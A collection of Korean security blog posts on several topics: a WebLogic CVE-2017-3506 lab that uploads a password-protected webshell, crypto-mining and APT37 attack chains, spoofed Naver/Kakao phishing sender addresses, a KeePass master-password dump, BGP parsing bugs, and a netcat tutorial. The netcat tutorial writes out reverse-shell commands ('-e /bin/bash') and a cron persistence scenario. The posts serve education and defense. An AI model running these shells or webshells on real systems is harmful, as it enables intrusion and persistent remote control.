1. 취약점 [1]

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2017-3506

- 공격자가 조작된 XML 페이로드를 전송하여 원격 코드 실행을 실행하는 취약점

- XMLDecoder를 이용한 역직렬화 과정에서 취약점이 발생

① 영향받는 버전
- WebLogic Server 10.3.6.0.0
- WebLogic Server 12.1.3.0.0
- WebLogic Server 12.2.1.1.0
- WebLogic Server 12.2.1.2.0

② 관련 URL

- /wls-wsat/CoordinatorPortType
- /wls-wsat/CoordinatorPortType11
- /wls-wsat/ParticipantPortType
- /wls-wsat/ParticipantPortType11
- /wls-wsat/RegistrationPortTypeRPC
- /wls-wsat/RegistrationPortTypeRPC11
- /wls-wsat/RegistrationRequesterPortType
- /wls-wsat/RegistrationRequesterPortType11

 

2. 실습

Attacker 환경
- Kali Linux

Victim 환경
- CentOS 7 x64
- WebLogic Server 10.3.6.0.0

- Java: JDK1.7.0_80

 

- WebLogic Server 10.3.6.0.0 설치 및 구동 [2][3]

> JDK8로 설치를 진행하였는데, 도메인 생성 과정 중 도메인 생성 실패 오류 발생

> 구글링 결과 JDK8과 WebLogic 10.3.6.0은 호환이 되지 않아 발생하는 문제로, JDK7을 이용함

**** Domain Creation Failed! java.lang.SecurityException: The provider self-integrity check failed. ****

 

- registry.xml 파일에서 Weblogic 버전을 확인할 수 있음

> 버전 확인 방법

① java weblogic.version 명령 이용

② config.xml 파일 상단 <domain-version> 태그 확인 / 명령어: cd ${DOMAIN_HOME}/config 

③ registry.xml 파일에서 version 확인 / 명령어: cd ${MW_HOME};cat registry.xml

④ WebLogic Admin Console 좌측 하단 확인 또는 [로그인] > [환경] > [서버] > [서버이름] > [모니터링] > [일반] 확인

[사진 2] 버전 확인

 

- 구동 후 외부에서 정상 접근 확인

[사진 3] 서버 구동(위) 및 정상 접근 확인(아래)

 

- 공개된 PoC를 통해 스캔 결과 취약점에 영향 받음_[+]표시_을 확인 [4]

[사진 4] 취약점 스캔 결과(위) 및 관련 패킷(아래)

 

- /wls-wsat/CoordinatorPortType11 URL에 shell.jsp 업로드 성공

> 비밀번호(password 매개변수_값 secfree)와 임의의 명령(command 매개변수)을 사용자로부터 입력받아 실행한 결과를 반환하는 웹쉘로 확인됨

[사진 5] shell.jsp 업로드 성공(위) 및 관련 패킷(아래)

 

- 공격자는 조건을 만족한 URL을 통해 임의의 명령을 실행 및 결과를 확인할 수 있음

> 조건 1: 비밀번호(password)는 secfree 

> 조건 2: 임의의 명령(command) 전달

[사진 6] 명령 실행 결과 반환

 

[사진 7] 관련 패킷 캡쳐

3. 8220 Gang [5]

- 2017년부터 활동한 해킹그룹으로 암호화폐 채굴을 목적으로 활동

> C2와 통신을 위해 8220 포트를 사용하여 파생된 이름

> Tsunami 멀웨어, XMRIG 크립토마이너, Masscan, Spirit 등을 공격에 이용

 

- 최근 CVE-2017-3506 또는 lwp-download를 사용하는 사례가 확인

> lwp-download: URL에서 파일을 다운로드하는 리눅스 유틸리티

 

- 8220 Gang 해킹그룹이 CVE-2017-3506를 이용하는 과정 및 파일은 다음과 같음

① wls-wsat/CoordinatorPortType URL을 이용해 취약한 서버에 진입

② PowerShell 스크립트로 드로퍼 다운로드

③ 드로퍼를 이용해 최종적으로 암호화폐 채굴기 다운로드 및 설치

> 공격에 사용된 스크립트와 바이너리 파일은 Base64 인코딩과 난독화가 적용

> 피해자가 인지하지 못하도록 숨겨진 창으로 명령 실행

> AMSI 감지 비활성화 수행

※ AMSI(Antimalware Scan Interface): 응용 프로그램 및 서비스와 시스템에 있는 모든 맬웨어 방지 제품이 통합할 수 있도록 하는 다목적 인터페이스 표준

 

> 공격에 사용된 파일

파일명 설명
bypass.ps1 - CVE-2017-3506을 이용해 다운로드
- Base64로 인코딩 된 PowerShell 스크립트
> AMSI 비활성화 및 Winscp-setup-1867.exe 생성
Winscp-setup-1867.exe - %TEMP%Winscp-setup-1867.exe 경로로 생성
- Ebvjmba.dat 다운로드
Ebvjmba.dat - dll 파일 다운
dll 파일 - MS 빌드 프로세스에 주입되는 암호화된 리소스 파일
- 9090, 9091, 9092/TCP를 사용해 C2 서버와 통신 및 암호화폐 채굴기 다운

 

4. 대응방안

① 벤더사 제공 패치 및 업데이트 적용 [6]

 

② wls-wsat 미사용 시 삭제

> rm -rf /app/wls1036/wlserver_10.3/server/lib/wls-wsat.war
> rm -rf /app/wls1036/domains/domain/servers/portal/tmp/_WL_internal/wls-wsat
> rm -rf /app/wls1036/domains/domain/servers/portal/tmp/.internal/wls-wsat.war
> rm -rf /app/wls1036/domains/domain/servers/admin/tmp/_WL_internal/wls-wsat
> rm -rf /app/wls1036/domains/domain/servers/admin/tmp/.internal/wls-wsat.war

 

③ wls-wsat 컴포넌트 비활성화 옵션 추가
> $DOMAIN_HOME/bin/setDomainEnv.sh 파일 수정 [7]

 

④ WAF에서 wls-wsat 하위 URL(/wls-wsat/*) 차단

> /wls-wsat/CoordinatorPortType
> /wls-wsat/CoordinatorPortType11
> /wls-wsat/ParticipantPortType
> /wls-wsat/ParticipantPortType11
> /wls-wsat/RegistrationPortTypeRPC
> /wls-wsat/RegistrationPortTypeRPC11
> /wls-wsat/RegistrationRequesterPortType
> /wls-wsat/RegistrationRequesterPortType11

 

⑤ 침해지표 모니터링 [5]

 

참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2017-3506
[2] http://1004lucifer.blogspot.com/2018/08/weblogic-linux-103-1211.html
[3] http://1004lucifer.blogspot.com/2018/08/weblogiclinux-103-1211.html
[4] https://github.com/Al1ex/CVE-2017-3506
[5] https://www.trendmicro.com/en_us/research/23/e/8220-gang-evolution-new-strategies-adapted.html
[6] https://www.oracle.com/security-alerts/cpuapr2017.html
[7] http://1004lucifer.blogspot.com/2018/12/weblogic-cve-2017-10271.html

1. 개요

- 북한 해킹조직들이 대한민국 국민들을 대상으로 무차별·지속적 해킹공격을 진행

- 국가정보원이 처음으로 北해킹공격 관련 통계를 공개하며 경각심 제고

※ 대한민국 대상 해킹공격 중, 2020~2022년에 발생한 북한으로부터의 사이버 공격 및 피해통계를 공개

- 북한발 공격은 이메일을 악용한 해킹 공격(74%), 취약점 악용(20%), 워터링 홀(3%), 공급망 공격(2%), 기타(1%) 순으로 집계

※ 국민 대부분이 사용하는 상용 메일을 통한 해킹공격을 한다는 것은, 국민 전체를 대상으로 해킹공격을 하고 있다는 뜻

 

2. 주요내용

- 북한은 해킹메일로 확보한 계정정보를 이용해 정보 탈취하며, 수발신 관계를 분석해 2~3차 공격대상을 선정 및 악성코드 유포 등을 수행

 

- 북한이 사칭한 기관 비율은 다음과 같음

> 일반적으로 발신자명을 먼저 확인하는 점에 착안해 주로 네이버, 카카오를 사칭

기관 네이버 카카오(다음) 금융, 기업, 방송언론 외교안보 기타
비중 45% 23% 12% 6% 14%

 

- 또한, 해킹 메일 제목은 다음과 같음

> 계정 정보, 회원 정보 등 변경 또는 이용제한 안내와 같이 계정 보안 문제를 주제로 피싱메일 발송

순서 해킹메일 제목
1 새로운 환경에서 로그인 되었습니다.
2 [중요] 회원님의 계정이 이용제한되었습니다.
3 해외 로그인 차단 기능이 실행되었습니다.
4 회원님의 본인확인 이메일 주소가 변경되었습니다.
5 알림 없이 로그인하는 기기로 등록되었습니다.
6 회원님의 메일계정이 이용제한 되었습니다.
7 [Daum]계정아이디가 충돌하였습니다. 본인 확인이 필요합니다.
8 [Daum]고객님의 계정이 충돌되었습니다.
9 [경고]회원님의 아이디로 스팸이 대량 발송되었습니다.
10 [보안공지]비정상적인 로그인이 감지되었습니다.

 

- 사칭 발신자명 및 사칭 메일주소

> 사용자들의 의심을 낮추기위해 '발신자명'과 '메일 제목'을 교묘히 변형

사칭대상 사칭 발신자명
네이버 - 네0|버 (숫자 0)
- 네O|버 (영어 O)
네이버
- 네이버
네이버
(주)네이버
- NAVER고객
‘ 네이버 MYBOX ’
카카오(다음) Daum 고객센터
-  Daum 보안
- Daum 고객지원
[Daum]고객센터
- 다음메일 커뮤니케이션
Clean Daum
-  '카카오팀'
- Daum 캐쉬담당자

 

구분 공식 메일주소 사칭 메일주소
네이버 네이버 account_noreply@navercorp.com - account_norply@navercop.com
- accounsts_reply@navercorp.com
- account_help@`navercorp.com
네이버 고객센터 help@help.naver.com - help@helpnaver.com
- help@help.naveradmin.com
- help@help.navor.com
네이버 메일 navermail_noreply@navercorp.com mail_notify@naver.com
no-reply@navecorp.com
- navermail_noreply@sian.com
카카오, 다음 카카오 noreply@kakaocorp.com - noreply@kakaocrop.net
- norepley@kakaocorps.co.kr
- no-reply@kakaocorp.com
다음 메일 notice-master@daum.net - notise-master@daurn.net
- notice-master@daum.nat
- notice-master@hanmail.net
카카오 메일 noreply_kakaomail@kakao.com - noreply-master@kakao.com
noreply@kakao.com
- noreply@kakaocrp.com

 

3. 사칭방법 및 대응방안

- 관리자를 사칭하며, 악성 링크를 삽입계정 입력 유도 및 정보 탈취

대응방안 참고
발신자 이름을 유사하게 흉내내므로, 아이콘 차이 확인
발신자 주소 확인

※ 공식 메일주소 - 사칭 메일주소 비교 표 참고
메일 내 링크 주소 확인
링크 클릭 후 표시되는 화면의 주소 확인

메일 무단열람 방지를 위한 2단계 인증 설정
일반적인 보안 규칙 준수 - 출처가 불분명한 파일, 링크 실행 및 클릭 금지 등

 

4. 참고

[1] https://www.nis.go.kr:4016/CM/1_4/view.do?seq=234&currentPage=1&selectBox=&searchKeyword=&fromDate=&toDate= 

[2] https://www.boannews.com/media/view.asp?idx=118493&page=1&kind=2 

1. 개요

- BEC 공격자들이 탐지 기술을 회피하는 새로운 방법을 터득

- ‘불가능한 이동(Impossible Travel)’ 경고 기능을 악용
- MS는 현재 아시아와 동유럽의 해커들 사이에서 이러한 수법이 유행하고 있다고 경고

불가능한 이동(impossible travel)
- 현재 접속하려는 자가 물리적으로 불가능한 공간 이동을 감행했다고 알리는 것으로, 계정 탈취 시도를 탐지하고 어렵도록 하기위한 목적을 지님
- 접속을 시도하려는 사용자의 마지막 접속 위치와, 현재 접속 시도가 이뤄지고 있는 위치 사이의 시간과 거리를 계산하여 경고 발생
- 즉, 물리적으로 불가능한 접속 시도가 확인된 경우 경고를 발생시키는 것
- 불가능한 이동 경고가 발생한 경우 공격자들의 침투 가능성이 높음을 의미

 

2. 주요 내용

- 공격자들은 2가지 방식을 공격에 사용하여 ‘불가능한 이동’ 경고를 우회
① 불릿프로프트링크(BulletProftLink) 플랫폼: 대규모 악성 이메일 캠페인을 실시할 수 있도록 해 주는 플랫폼
② 피해자 지역 내 IP로 위조

 

- 2022년 FBI의 BEC 공격 피해 규모
> 2만 1천 건 이상의 신고 접수
> BEC 공격에 의해 피해는 최소 27억 달러

 

- BEC 공격은 임원 또는 관리자급의 직원을 대상으로 수행
> 금융 정보와 개인정보를 탈취하기 위해 재무 담당자와 HR 직원들을 자주 공략

 

- 지역 정보만 확인해서 접속 시도 트래픽의 악성 여부를 판단할 수 없다는 지적
> 브라우저 정보, 접속 후 행동 패턴, 특정 데이터의 활용 여부 등 악성을 판단할 때 참고해야 할 정보는 많기때문

 

3. 대응

- MS는 디마키(DMARC)를 활성화 권장

> 이메일 인증 프로토콜로, DMARC 레코드가 활성화된 메일을 수신하면 정책에 따라 메일을 검사

> 인증을 통과하면 전송되며, 통과하지 못할 경우 격리

> SPF(Sender Policy Framework)와 DKIM(DomainKeys Identified Mail)을 먼저 설정해야 함

SPF(Sender Policy Framework)
- 메일의 발신자가 정상적으로 등록된 서버인지 확인
- 메일 수신 시 발신지의 IP주소를 DNS 서버에 정의된 IP주소와 비교
- 발신자가 SPF 레코드(메일 서버의 정보와 정책을 나타냄)를 설정하여 발송
- 수신자는 발신자의 DNS에 등록된 SPF 레코드와 발송 IP를 대조하고 결과에 따라 수신여부 결정

DKIM(DomainKeys Identified Mail)
- 메일이 실제 도메인으로부터 발송되었는지 확인하여 이메일 위변조 여부를 판별
- 이메일 발송 시 발신자 측 메일 서버는 메시지 내용과 발신자의 개인키를 기반으로 DKIM-Signature를 생성 및 발송되는 메일 헤더에 첨부
- 메일 수신 시 수신자 측 메일 서버는 서명을 검증할 공개키를 DNS 서버에서 선택 및 서명 검증
- 서명의 유효성 검증에 실패할 경우 검사 결과가 ‘DKIM Fail’로 표시되며, 수신자의 메일 서버가 해당 메일을 스팸으로 차단

 

- 인증 관련 규정을 보다 엄격하게 설정

> 다중 인증 옵션을 활성화

 

- 기본 보안 수칙 준수

1. KeePass [1]

- 오픈소스로 작성된 비밀번호 관리 프로그램

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-32784 [2]

- KeePass 메모리 덤프를 이용해 마스터 비밀번호를 탈취할 수 있는 취약점

- 공격자가 메모리 덤프에 접근하게 되었다는 것은 이미 PC가 일정부분 공격자에게 탈취되었다는 의미

영향받는 버전: KeePass 2.54 이전 2.x 버전

 

2.1 실습

- KeePass 다운로드 후 File > New를 선택해 데이터베이스 생성

> Windows용 2.53.1 버전 사용

[사진 2] 데이터베이스 생성

 

- 데이터베이스를 여는데 사용할 마스터 비밀번호 설정

> 마스터 비밀번호는 데이터베이스에 접속하기 위한 비밀번호로, [사진 4]와 같이 데이터베이스 접속 시 입력해야하는 값

> 해당 마스터 비밀번호 하나로 모든 비밀번호를 관리

[사진 3] 마스터 비밀번호 설정

 

[사진 4] 데이터베이스 접속

 

- KeePass 프로세스 메모리 덤프 수행

> 작업관리자를 통해 메모리 덤프 진행

[사진 5] 메모리 덤프 수행

 

- 공개된 PoC를 [4] 사용한 결과 마스터 비밀번호를 추출됨

> 완전한 형태의 마스터 비밀번호는 아니지만 출력 결과를 통해 누락된 문자를 유추할 수 있음

> 마스터 비밀번호를 탈취한 공격자는 저장된 모든 자격 증명에 엑세스가 가능해짐

[사진 6] 마스터 비밀번호 추출

3. 대응방안

① 벤더사에서 제공하는 업데이트 적용

- 23.06 ~ 23.07 해당 취약점이 패치된 2.54 버전 발포 예정

> 현재 포럼을 통해 취약점이 해결된 테스트 버전을 배포 [5]

> 공개된 테스트 버전에 대해서는 PoC가 적용되지 않음을 확인

> 또한, 마스터 비밀번호가 메모리에 남아있을 수도 있으므로 시스템 변경, 데이터 덮어쓰기 등을 권고

수정내역
1. 텍스트 상자의 텍스트를 가져오거나 설정하기 위한 직접 API 호출을 실행하여 비밀이 누출될 수 있는 관리 대상 스트링 생성을 피합니다.
2. 프로세스 메모리에 무작위 문자가 포함된 더미 플래그먼트를 만듭니다.이 더미 플래그먼트는 사용자의 마스터 암호와 거의 같은 길이가 되며 실제 키를 난독화합니다.

 

- 업데이트 적용이 불가한 경우 다른 비밀번호 관리 프로그램 사용

> KeePassXC, Strongbox, KeePass 1.X의 경우 해당 취약점에 영향을 받지 않음

 

4. 참고

[1] https://keepass.info/index.html 
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-32784
[3] https://github.com/vdohney/keepass-password-dumper
[4] https://github.com/CMEPW/keepass-dump-masterkey
[5] https://sourceforge.net/p/keepass/discussion/329220/thread/f3438e6283/
[6] https://www.bleepingcomputer.com/news/security/keepass-exploit-helps-retrieve-cleartext-master-password-fix-coming-soon/
[7] https://www.boannews.com/media/view.asp?idx=118268&page=3&kind=1
[8] https://skogkatt.tistory.com/entry/%ED%8C%A8%EC%8A%A4%EC%9B%8C%EB%93%9C-%EA%B4%80%EB%A6%AC-%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%A8-keepass-%EC%84%A4%EC%B9%98-%EB%B0%8F-%EA%B8%B0%EB%B3%B8-%EC%82%AC%EC%9A%A9%EB%B0%A9%EB%B2%95

1. Netcat (nc)

- TCP 또는 UDP를 사용하여 네트워크 연결을 읽거나 기록하는 컴퓨터 네트워킹 유틸리티

- UNIX의 cat과 유사하며, cat 명령으로 파일을 읽거나 쓰듯이 NC는 Network Connection에 읽거나 씀

- 스크립트와 병용하여 network에 대한 debugging, testing tool로써 매우 편리하지만 반면 해킹에서도 자주 사용

 

1.1 주요 옵션

옵션 설명
-l listen 모드로 port 오픈
-L 영구 리스너 생성 (Windows만 작동)
-u Netcat UDP 모드로 전환 (기본값 TCP)
-p local port 지정
-e 연결 후 수행 할 작업
※ 서버에서 -e 옵션 지정 시 서버에서 해당 작업이 수행
 클라이언트에서 -e 옵션 지정 시 클라이언트에서 해당 작업이 수행
-s addr local ip address 지정
-n 호스트 네임과 포트를 숫자로만 입력
-z local ip address 지정
-v verbosity를 증가시키며, 더 많은 정보를 얻을 수 있음
-w secs 시간 종료 값을 정의

 

1.2 바인드쉘

- 일반적인 연결 상태로, 클라이언트가 서버에 접속

- 서버: nc -lnvp 1234 -e /bin/bash
- 클라이언트: nc <서버 IP> 1234

 

[사진 1] 바인드쉘 예시

 

1.3 리버스쉘

- 바인드쉘과 반대로 서버가 클라이언트에 접속, -e 옵션에 의해 클라이언트에서 작업이 수행됨

> 예시의 경우 클라이언트의 /bin/bash가 실행

> 공격자의 PC가 서버가되고, 피해자의 PC가 클라이언트가 되어 명령을 실행

- 서버: nc -lnvp 1234
- 클라이언트: nc <서버 IP> 1234 -e /bin/bash

 

- 일반적으로 방화벽은 네트워크 최상단에 설치되어 외부에서 내부로 들어오는 연결차단

> 반대로 내부에서 외부로 나가는 연결에 대해서는 상대적으로 허용하는 경우가 많음

> 이를 이용해 공격자는 공격 PC를 서버로 동작시킨 뒤, 피해 PC에서 명령 실행 및 공격 PC로 접근해 쉘을 획득

 

- 일반적인 리버스쉘 시나리오는 다음과 같음

① 공격자는 내부 네트워크에 침입한 후 무차별대입공격으로 root 계정 탈취

② 반복적인 침입을 위해 root 계정을 이용해 root 권한을 가지는 일반 사용자 계정 생성

③ netcat 프로그램을 이용한 리버스쉘 연결 작업을 cron table에 등록(/etc/crontab)

④ 공격자는 주기적으로 shell을 획득해 추가 명령 수행

 

[사진 2] 리버스쉘 예시

 

2. -e 옵션

- 앞서 살펴보았듯이 -e 옵션은 연결을 생성한 후 실행할 명령 등의 작업을 지정함

- 침해 상황을 가정해 nc를 통해 리버스쉘 연결을 시도한 결과 -e 옵션이 유효하지 않다고 확인

[사진 3] 유효하지 않은 -e 옵션

 

- 구글링을 해보니 비활성화된 (또는 지원하지 않는) 버전의 nc를 사용한 결과라고 함

> 따라서, -e 옵션을 지원하는 nc 버전 (netcat-traditional)을 설치하고, 해당 버전으로 설정해야 함

# sudo apt-get install -y netcat-traditional
# sudo update-alternatives --config nc

 

- 두 번째 명령 실행 결과를 확인해보면 현재 /bin/nc.openbsd 버전을 사용하고 있는 것으로 확인 됨

> 설치한 netcat-traditional (nc.traditional)으로 변경

[사진 4] sudo update-alternatives --config nc 결과 비교

 

- 변경 후 -e 옵션을 실행하면 정상적으로 리버스쉘이 생성됨

[사진 5] 리버스쉘 생성

1. BGP (Border Gateway Protocol) [1]

- 서로 다른 AS(autonomous system) 사이에서 사용되는 라우팅 프로토콜

- 179/TCP 사용하여, 유니캐스트 방식으로 라우팅 정보를 전송

- 조직간에 계약된 정책(Policy)에 따라 최적 경로를 결정

- 장애가 발생할 경우 적게는 하나의 국가, 크게는 전 세계의 네트워크에 영향을 미침

> AS 간 라우팅을 수행하며, 수만 개에서 수십만 개 이상의 네트워크가 라우팅 테이블에서 관리되기 때문으로 판단됨.

 

2. 취약점 [2]

2.1 개요

- FRRouting, BIRD, OpenBGPd, ​​Mikrotik RouterOS, Juniper JunOS, Cisco IOS, Arista EOS 등 7가지 BGP 구현을 분석

> BGP 보안에서 자주 간과되는 소프트웨어 구현의 취약점 발견

> 공격자가 취약한 BGP 피어에 서비스 거부(DoS)를 유발할 수 있는 BGP 메시지 구문 분석 취약점

> 각 취약점은 FRRouting 팀에 전달되었으며 다음 버전에서 수정됨

 

[사진 1] BGP 프로토콜 분포

 

- BGP 프로토콜 보안과 관련한 많은 연구가 진행

> BGP 피어가 리소스 공개 키 인프라(RPKI)와 같은 인증 및 암호화 메커니즘을 적용

※ RPKI (Resource Public Key Infrastructure): 인터넷주소자원 소유기관 및 IP주소, AS번호 등을 PKI(공개키 기반 암호화)를 기반으로 전자서명 처리하여 해당 라우팅 정보의 무결성을 인증하는 것

> 하지만, 최근 연구에서 BGP가 여전히 안전하지 않다는 것을 보여주고 있음

 

- 리눅스 및 유닉스용 오픈소스 인터넷 라우팅 프로토콜 FR라우팅(FRRouting) [4] 8.4 버전(22.07 배포)에서 새로운 취약점이 발견

> FR라우팅(FRRouting)은 엔비디아, 덴트, 소닉 등 유명 기업들에서도 사용하는 라우팅 프로토콜

해당 취약점들을 신속히 패치하지 않으면 공급망에 큰 영향을 미칠 수 있으며, 공격자는 취약점을 악용해 다음의 행위를 수행할 수 있음

① 모든 BGP 세션 및 라우팅 테이블을 삭제

② 지속적으로 잘못된 패킷을 전송해 BGP 피어를 응답하지 않는 서비스 거부 상태로 유지

※ BGP 데몬은 일정 시간 초과 후 자동으로 재시작함

CVE ID 설명 CVSS v3.1 잠재적 영향
CVE-2022-40302 [5] 확장된 선택적 매개변수 길이 옵션을 사용하여 특수 제작된 BGP OPEN 메시지를 처리할 때 발생하는 범위를 벗어난 읽기 취약점 6.5 서비스 거부
CVE-2022-40318 [5] 확장된 선택적 매개변수 길이 옵션을 사용하여 특수 제작된 BGP OPEN 메시지를 처리할 때 발생하는 범위를 벗어난 읽기 취약점 (CVE-2022-40302와 다른 취약점)
CVE-2022-43681 [6] 옵션 길이 옥텟(또는 확장된 옵션 길이 메시지가 있는 OPEN의 경우 옵션 길이 단어)로 갑자기 끝나는 잘못된 형식의 BGP OPEN 메시지를 처리할 때 발생하는 범위를 벗어난 읽기 취약점

 

2.2 CVE-2022-40302

- 취약점의 근본 원인은 BGP OPEN 메시지에서 확장 옵션 길이 옥텟에 대한 불충분한 경계 검사

 

[사진 2] 취약한 버전의 소스코드 중 일부

- line 1: 옵션 길이 옥텟(optlen 변수)을 읽음

> optlen이 0xff(BGP_OPEN_NON_EXT_OPT_LEN 상수로 정의됨)인 경우 stream_getc()를 호출하여 다음 옥텟 (optype) 읽기를 계속 수행

> 확장 옵션 매개 변수를 0xff로 끝나도록 조작된 BGP OPEN 메시지가 수신되면, stream_getc() 호출 시 범위를 벗어난 읽기가 발생하는 것으로 판단됨.

 

- line 8: 원시 패킷 스트림에서 다음 옥텟 값을 읽음

> optype이 0xff와 동일한 경우 OPEN 패킷에는 RFC 9072(프로토콜 표준 문서)에 따라 확장된 옵션 매개 변수가 포함된 것으로 간주

> 조작된 BGP OPEN 메시지에 의해 범위를 벗어난 읽기가 발생하며, 이로인해 SIGABRT 시그널이 발생하여 FRRouting의 bgpd 데몬이 다시 시작되어 DoS 상태가 발생하는 것으로 판단됨.

※ SIGABRT: 프로세스가 비정상적인 상태에 도달했을 때 강제로 프로세스를 종료하기 위한 시그널

 

2.3 CVE-2022-40318 // 불확실하므로 추가 공부 필요

- 취약점의 근본 원인은 AS4 기능(RFC 6793에 따른 4바이트 AS 번호)을 읽을 때 OPEN 메시지 패킷에 대한 잘못된 경계 검사

 

[사진 3] 취약한 버전의 소스코드 중 일부

- peek_for_as4_capability()는 AS4의 기능을 찾기위해 구문 분석을 수행하는 함수

> line12: 수신된 옵션의 길이 검증

> 수신된 OPEN 메시지에 길이가 확장된 옵션 매개 변수가 있는 경우(RFC 9072에 따름) 원시 패킷 스트림에서 2바이트 대신 3바이트를 읽음

> 코드가 "while" 루프에서 반복되도록 하여 반복 중 하나에서 범위를 벗어난 읽기를 트리거하는 것으로 판단 됨

 

2.4 CVE-2022-43681 // 불확실하므로 추가 공부 필요

- bgp_open_option_parse() 함수에서 취약점이 발생

> line6: 정규 옵션 길이를 가진 패킷에 존재해야 하는 2개의 옥텟만 설명하는 경계 검사 수행

> 경계 검사는 총 세 개의 옥텟이 있어야 하는 확장 옵션 길이를 고려하지 못하여 범위를 벗어난 읽기를 트리거

 

2.3 완화

- BGP는 인터넷의 필수적인 부분이기 때문에 보안에 대한 몇 가지 지침이 있음

> 그러나 이러한 지침은 BGP 보안에 대한 알려진 문제와 RPKI 배포 방법에만 초점을 맞추는 경향이 있음

> 따라서 조직은 BGP 보안을 처리하기 위해 ISP에만 의존해서는 안 됨

 

- 네트워크 인프라 장치 패치

> 확인된 3개의 취약점과 같은 BGP 구현상 취약점 완화 목적

> 조직의 모든 네트워크 장치와 해당 장치에서 실행 중인 소프트웨어 버전 형상 관리 필요

 

- Forescout은 Python 기반 오픈 소스 BGP Fuzzer 도구를 제공 [7]

> 조직이 내부적으로 사용되는 BGP 제품군의 보안을 테스트하고 BGP 구현에서 새로운 결함을 찾을 수 있도록하기 위함

 

3. 참조

[1] https://net-study.club/entry/Routing-Protocol-BGP-Border-Gateway-Protocol
[2] https://www.forescout.com/blog/three-new-bgp-message-parsing-vulnerabilities-disclosed-in-frrouting-software/
[3] https://thehackernews.com/2023/05/researchers-uncover-new-bgp-flaws-in.html
[4] https://github.com/FRRouting/frr
[5] https://github.com/FRRouting/frr/pull/12043
[6] https://github.com/FRRouting/frr/pull/12247
[7] https://github.com/Forescout/bgp_boofuzzer/

'취약점 > Denial of Service' 카테고리의 다른 글

2009.07.07 DDoS  (0) 2023.07.06
Anonymous Sudan DDoS  (0) 2023.06.23
Apache Commons Fileupload 서비스 거부 취약점 (CVE-2023-24998)  (0) 2023.02.27
DDoS 공격 유형 #2  (0) 2023.02.02
DDoS 공격 유형  (0) 2023.02.02

1. 개요

- 2023.03.21 Zscaler사에 의해 북한 해킹 그룹 APT37(ScarCruft, Temp.Reaper)이 사용중인 Github 저장소가 발견

- 저장소에는 APT37 그룹에서 다양한 분야의 기업, 기관을 공격 하기위해 사용하는 파일들이 다수 존재

- CHM, HTA, HWP, MS Excel Add-in XLL, Macro-Based MS Office 등 공격 초기에 사용되는 피싱용 파일이 확인

 

2. 주요 내용

2.1 CHM 파일

- 악성 HTA 파일을 다운로드하는 CHM 파일 Decoy 파일압축한 파일 이용

HTA 파일 (HTML Application)
> 인터넷 브라우저 보안 모델의 제약 없이 실행되며,  "완전히 신뢰할 수 있는" 응용 프로그램으로 실행
> 따라서, 웹 브라우저의 보안을 우회하기 때문에, 공격에 자주 악용됨

CHM 파일 (Compiled HTML Help)
> 컴파일된 HTML 도움말 파일 형식
> 소프트웨어 응용 프로그램에 대한 온라인 도움말, 교육 가이드, 대화형 책 등에 이용

Decoy 파일

> 사용자들을 속이기위한 정상 파일로 위장한 악성 파

 

- Decoy 파일비밀번호가 설정되어 있으며, 해당 비밀번호CHM 파일 실행 시 확인 됨

> CHM 파일에는 C2 URL이 저장되어 있어, 실행 시 Mshta.exe를 통해 해당 URL로 접속

> 최종적으로 Chinotto PowerShell-based 백도어 설치

mshta.exe
> Microsoft HTML 응용 프로그램(HTA)을 실행하는 유틸리티
> mshta.exe를 활용해 파일 내 인라인 스크립트로 mshta.exe에 의해 실행될 수 있음

 

[사진 1] CHM 파일 내 비밀번호 및 악성 URL(C2)

2.2 LNK 파일

- LNK 파일의 경우 국내 기업의 로그인 페이지로 위장한 HTML 파일이 RAR로 압축되어 있음

> "html.lnk" 및 "pdf.lnk"와 같이 이중 확장자를 사용

> Mshta.exe를 통해 C2로 접속하여 Chinotto PowerShell-based 백도어 설치

LNK 파일 (Link)
> 윈도우 운영체제에서 사용되는 바로가기 파일

 

- 공격에 사용된 LNK 파일 분석 결과 동일한 가상 머신을 재사용한 것으로 확인됨

> 가상 머신의 Mac 주소 00:0c:29:41:1b:1c로 확인

[사진 2] LECmd를 사용하여 추출한 LNK 시스템 세부 정보

 

2.3 Macro-Based MS Office

- MS Office 파일에 내장된 매크로를 통해 MSHTA를 실행하고, Chinotto PowerShell-based 백도어를 다운

[사진 3] MSHTA를 실행하는 VBA 스크립트

2.4 OLE 개체가 포함된 HWP 파일

- Chinotto PowerShell-based 백도어를 유포하기 위해 OLE 개체 악용

> OLE 개체는 악성 PE 페이로드를 포함하며, 해당 페이로드를 통해 C2 접속 및 Chinotto PowerShell-based 백도어 다운

OLE (Object Linking & Embedding)
> 응용프로그램에서 다른 응용프로그램의 객체를 포함 또는 참조할 수 있게 해주는 기술
> 문서에 다양한 종류의 미디어 및 데이터를 쉽게 삽입할 수 있음

 

[사진 3] MSHTA 실행 및 백도어 다운로드 스크립트

2.5 MS Excel Add-in XLL

- 현재까지 APT37 그룹이 사용하는 방법 외 새로운 공격 방식 MS Excel Add-in 방식이 확인

> Add-in은 XLL 파일로, MS Excel 응용프로그램에서 추가 기능으로 동작하는 DLL

> Excel 응용프로그램과 통신을 위한 다양한 콜백함수(ex. xlAutoOpen())가 포함

- Office Add-ins platform
> Office 응용 프로그램을 확장하고 Office 문서의 콘텐츠와 상호 작용하는 솔루션을 구축할 수 있음
> HTML, CSS 및 JavaScript를 사용하여 MS Office를 확장하고 상호 작용할 수 있음

- 콜백함수
> 특정 이벤트에 의해 호출되는 함수

 

- 동작 방식은 다음과 같음

① 문자열 'EXCEL'을 통해 리소스 섹션에 저장된 Decoy 파일을 추출 및 저장

ex. C:\programdata\20230315_세종지원[.]xls

② XLS 파일에 내장된 URL로  MSHTA를 사용해  Chinotto PowerShell-based 백도어를 포함한 HTA 파일 다운

[사진 4] 악성 MS Office Excel 추가 기능의 xlAutoOpen() 서브루틴

3. 대응방안

① 불분명한 출처의 파일 등 실행 금지/주의 등 일반적인 보안 상식 준수

② "4. 참조" 내 확인되는 침해지표 보안 장비 등록 및 모니터링

 

4. 참조

 

The Unintentional Leak: A glimpse into the attack vectors of APT37 | Zscaler

An operational security failure by the North Korean threat actor - APT37, led to the discovery of many previously unknown tools and techniques used by them

www.zscaler.com

1. Browser in the Browser (BitB)

- 2022.03에 새롭게 등장한 피싱공격

- 브라우저 창 안에 또 다른 브라우저 창이 열린 것처럼 꾸며내어 사용자들을 속여 계정 정보를 알아내는 피싱 공격

